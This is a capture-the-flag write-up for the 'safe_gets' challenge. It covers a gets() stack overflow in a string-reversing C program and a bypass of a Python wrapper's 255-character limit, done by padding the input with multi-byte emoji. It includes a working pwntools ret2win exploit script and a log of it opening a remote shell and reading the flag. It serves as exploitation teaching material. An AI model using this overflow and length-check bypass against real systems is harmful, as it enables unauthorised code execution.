description: I think I found a way to make gets safe. Author: White
We are given a program and a python wrapper around it.
Main program Link to heading
Let’s start with the program after a quick pass through ghidra
int main(void)
{
size_t input_len;
char buffer [259];
char local_15;
int input_len_2;
ulong i;
gets(buffer);
input_len = strlen(buffer);
input_len_2 = (int)input_len;
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
local_15 = buffer[(long)(input_len_2 + -1) - i];
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
buffer[i] = local_15;
}
puts("Reversed string:");
puts(buffer);
return 0;
}
void win(void)
{
system("/bin/sh");
return;
}
It’s a simple compiled C program that reverses a string, the interesting thing is the call to gets
that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful win
function.
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
[*] 'l3ak_ctf/pwn/safe_gets/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Python wrapper Link to heading
Most of it doesn’t matter for us except this small part that limits the length of the input we provide to 255.
BINARY = "./chall"
MAX_LEN = 0xff
# Get input from user
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
if len(payload) > MAX_LEN:
print("[-] Input too long!")
sys.exit(1)
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
Solve Link to heading
So what does the len
function count ? It counts unicode codepoints which can be multiple bytes long.
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
Here is my solve script (the interesting part).
io = start()
payload = flat(
b"A"*74,
b"\x00",
"😄".encode("utf-8")*50,
b"A"*5,
pack((elf.symbols.win)+5)
)
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
io.interactive()
And when running it we get the flag.
>>> ./exploit.py REMOTE 34.45.81.67 16002
[+] Opening connection to 34.45.81.67 on port 16002: Done
[*] Switching to interactive mode
$ cat flag.txt
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
[*] Interrupted
[*] Closed connection to 34.45.81.67 port 16002